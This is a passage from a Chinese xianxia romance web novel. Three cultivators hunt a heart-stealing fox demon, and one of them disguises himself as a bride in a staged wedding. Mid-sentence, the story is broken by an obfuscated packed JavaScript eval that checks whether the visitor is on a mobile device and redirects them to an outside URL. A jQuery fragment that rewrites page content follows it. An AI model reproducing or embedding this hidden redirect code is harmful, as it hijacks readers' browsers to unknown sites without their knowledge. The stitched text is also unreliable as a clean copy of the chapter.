谢离殊果然还是那个不讲人情的活阎王。
他又是陪睡又是给谢离殊当人形抱枕的,结果就被这么无情地踹下床。
顾扬在房内愤愤不平,狠狠咬开软糕外面包裹的砂纸,仿佛这纸是谢离殊一般。
他在门前等候许久,谢离殊才缓缓推门而出。
那人衣襟盘扣整齐,浑身一丝不苟,高贵瞥他一眼。
“走吧。”
果然,种马龙傲天还是那个渣男,江山易改,提裤子不认人的本性照样难移。
难怪整本书全靠中药中情毒推动感情线,这样不懂风情的男人,哪个小姑娘会真心喜欢?
司君元悄悄靠过来,一脸八卦:“你和师兄真在一起了?”
顾扬也冷脸:“谁会和这种渣男在一起。”
“什么是渣男?”
顾扬不解释,默默跟在谢离殊身后。
很快,几人就抵达春花镇。
此地宿云淡淡,妖气森森,天色如被浓墨晕染,俨然一副妖邪横行之象。
妖族虽作恶多端,但通常不会平白无故造下杀孽,这只狐妖接连犯下七桩血案,背后究竟是何深仇大怨。
顾扬走入镇中,发觉明明是初秋时节,这春花镇却处处种植梅树。
梅枝轻颤,缀满红梅。
司君元惊讶道:“这时节,怎么会有这么多梅花?”
谢离殊并指拂过树干,探寻梅树气息:“这些梅花皆用妖力滋养,并非自然生长。”
“狐妖种这么多梅树做什么?”
谢离殊没有应答,穿过重重梅影,走到一处高悬红灯笼的人家门口。
图纸上的委托人便是这家。
灰暗天色下,木门上贴的“囍”字鲜红刺目,被风吹卷一个角,在暮色下簌簌摇摆。
细听,门内不停传来断断续续的细碎人声。
他们推门而入,只见一群人正围在此处指指点点,探头探脑,还伴随着妇人哭声和“啧啧”的惋惜声。
有人叹息道:“唉,又一家被挖了心,早说有狐妖作祟,偏不信,这下惨咯。”
“若恒云京的姬仙师还在,哪会让这狐妖如此猖狂,可惜啊……”
司君元悄悄看了一眼谢离殊,他的脸色铁青,似是忆起旧事。
他小声安慰道:“师兄……先看看这家人如何吧。”
谢离殊拨开吵嚷的人群,沿着发黑的血迹走到院门之中。
陈旧的血迹尽头,有一枝梅花孤零零插在土壤之中。
梅花尚未凋零,萦绕着淡淡的狐气。
顾扬挑眉:“这狐妖倒是有雅兴,杀了人还送朵花。”
谢离殊摘下那朵花,手心抹过花瓣上的血迹,声色沉闷:“布阵,今夜抓妖。”
司君元道:“可是师兄,若是狐妖不入阵,又如何抓她?”
谢离殊默了半瞬,转身问道:“镇上近日可还有人家成婚?”
众人顿时哑然无声。
于是谢离殊又正色道:“成婚可领赏钱,谁来?”
顾扬被谢离殊这模样逗得“扑哧”一笑。
他心道,谁家姑娘郎君会为了拿赏钱成亲啊,也就谢离殊想得出来这法子。
果然,这群百姓面面相觑,无人愿意当出头鸟。
一时间,院中只剩下不远不近的哭闹声。
顾扬抬起眼,忽见堂前一妇人掀帘而出,姗姗来迟。
她直直扑过来抱住谢离殊的腿,哭天喊地:
“哎哟,仙君大人,您可算来了……求您救救我家孩儿吧。”
她身后紧跟着一中年男人,随意打量了他们三人一眼,面色不善:
“不是让你去请上清真人吗?花大价钱请这几个毛头小子能做什么?”
果然是炮灰见到龙傲天的经典台词。
那中年男人怒然一挥袖,冷哼一声:“我可丑话说在前头,休想糊弄我!”
谢离殊冷冷道:“信不信由你。”
中年男人被他说得语塞,一旁的妇人急忙扯住他:“你收着点,这几位可是玄云宗的仙君。”
她又哀求道:“仙君勿怪,您快帮帮我们吧,三日前狐妖来府内挖心,家里虽说请了道长护阵,却也只挡住一招……我儿遭那狐妖迫害,如今只剩下半口气了。”
谢离殊蹙眉道:“既然知晓有狐妖作乱,为何非要选在此时成婚?”
那妇人更恼:“还不是他爹,算卦得知今岁有血光之灾,非要说办喜事成婚冲煞,才让小儿子这时候娶亲……本以为请了道长总该没事,却还是苦了我儿丢了半条命哟。”
她掩面哭哭啼啼,扰得中年男人羞窘难堪。
顾扬不再多言,跟着谢离殊进入屋内。
屋内的青年胸前是一处深可见骨的伤痕,估计再迟来一步,心脏必被狐妖掏走。
那处伤口沾了妖气,已然溃烂,无法愈合。
谢离殊施展法诀,在王家小儿子身上游转一柱香的时间,才驱散那狐妖之气。
他问道:“掏心案从何而起?”
妇人想到此处,就愈发忿忿不平:“还不是从李家起的,他家娶什么不好,非得娶个狐妖当媳妇,若是不害人也就罢了,结果谁知李家的儿子李元商突然暴毙,狐妻不知所踪,后来就莫名出现了这掏心案……”
顾扬道:“李家可还有人活着?”
妇人道:“有的,李家人性情和善,想必狐妖也是报答十年收留之恩,并未杀害他的父母。”
司君元道:“她独独杀了这李元商,又写下负心人这样的血字,莫非是情债?”
谢离殊不置可否,踏出门槛。
门前看热闹的人群还没散,他又问了一遍:“可有人愿成婚?”
无人回应。
顾扬笑道:“既没有现成的婚事,我们也不好去强求人家黄花姑娘出嫁,不如就选我们其中一人扮作新妇成婚,引狐妖现身,如何?”
谢离殊沉默片刻,蹙眉道:“你来扮?”
顾扬不答,谢离殊以为他是默认,正要嗤笑他异想天开。
却不料顾扬陡然逼近,靠在谢离殊眼前,只留下一段暧昧的距离。
“师兄,论身高,怎么也是你扮新娘更合适吧。”
顾扬眯着眼,笑得狡黠,看起来很是欠揍。
谢离殊眼里杀意骤现:“你!”
司君元忙扯住他衣袖:“顾扬说得有道理,不然……就选我们其中一人。”
“凡人去假扮,终归太过危险。”
最终,他们还真劝动谢离殊穿上那身新娘喜服。
司君元眼神犹疑,将另一身喜服递给顾扬:“还是你扮新郎吧,我不行。”
顾扬自然知道他心里在想什么。
司君元向来崇敬谢离殊,要让他这个做小弟的“娶”大哥,不是折煞他吗?
顾扬存心要趁这个机会羞辱谢离殊一番,也没推脱,爽快接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414211|184671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过喜服一换,转眼就成了个俊俏新郎。
现在只等谢离殊出场了。
新房内动静不断,谢离殊貌似打翻了好几回妆奁,两人站在门前足足等了大半个时辰,才看见那扇门缓缓推开。
谢离殊扭扭捏捏撩开珠帘,脸上虽是抹了脂粉,却掩盖不住阴沉脸色。
鲜红口脂宛若红梅,衬得芙蓉面娇艳欲滴,那双上挑的狐狸眼尾由清浅黛色勾了一道,平白无故增添几分媚态。
能将谢离殊这凶神恶煞的脸画成这番模样,倒是辛苦了那描妆的姑娘。
谢离殊穿着新娘的袍服,扫了一眼顾扬:“怎么是你?”
顾扬甜丝丝一笑:“是我呀,毕竟师兄这样……也只有师弟我受得住。”
他想说“泼辣”,却还是及时收了声,不然今天怕是得被谢离殊打断腿。
谢离殊冷哼一声,将手搭在他的手心。
按照狐妖的习性,她一向喜欢在新婚夜动手。
因此谢离殊搭上红盖头,独自坐在新房的床榻上,而顾扬则在外与“狐朋狗友”一通胡吃海喝,佯装酒醉。
司君元埋伏在房外,暗中守着阵法。
夜色深重,喧嚣散去,只剩下新郎摇晃的脚步声,“吱呀”一声推开木门。
顾扬装作醉醺醺的模样,脸色绯红,隔着老远就喊了声:
“娘子,我来了!”
谢离殊指尖攥紧衣袖,脸色更黑,强忍着怒气没有发作。
他踉跄走到床榻之前,活像个只知花天酒地的登徒子。
窗外忽然响起异样的响动。
红盖头下的谢离殊默不作声,按捺住动作。
顾扬却恍若未觉,取过秤杆撩开谢离殊的盖头。
不知是醉意朦胧,还是被惑了心神,望着谢离殊那上了红妆的美人面,还真让他动了几分情。
顾扬醉醺醺坐下来,捧起谢离殊的脸,声色低沉:
“离殊,你真好看。”
谢离殊鲜少看见顾扬如此正色的模样,他指尖微动,呼吸也急促起来:“倒也不必演得如此逼真。”
“离殊在说什么?今日可不就是你我的大喜之日。”他眼底浮现暗色,端起交杯酒,递给谢离殊。
谢离殊难堪地四顾,那狐妖却仍未入阵。
往常这时,她定然早已出手,难道是已经看出破绽?
顾扬不动声色,手臂穿过谢离殊的臂弯。
谢离殊没有喝醉,脸色却愈发红润,他动作一顿,心跳陡然加快,浅浅饮了一口|交杯酒。
顾扬含笑,仰头一饮而尽。
狐妖依旧没有出现。
谢离殊心中急促,低声道:“为何还不现身?”
顾扬调笑:“或是觉得我们演得不够真切……毕竟师兄这身形,实在不像娇弱的新妇。”
谢离殊恼了:“那要如何?”
话音未落,顾扬却突然倾身靠近,他们呼吸交错,缠绕在一块。
谢离殊顿时僵住了。
顾扬的鼻尖轻轻蹭过他的侧脸,宛若情人正歪着头,互相热烈亲吻。
双唇近在咫尺,却悬停在半空,谁也没有继续吻下去。
顾扬看见那双向来冷冽的狐狸眼终于闪过一丝慌乱,悄然凑得更近,低声道:“别动,她要来了。”
谢离殊浑身僵硬,一动也不敢动,两人以近乎亲吻的姿势死死盯着对方,远远看去,仿佛一对浓情蜜意的新婚眷侣。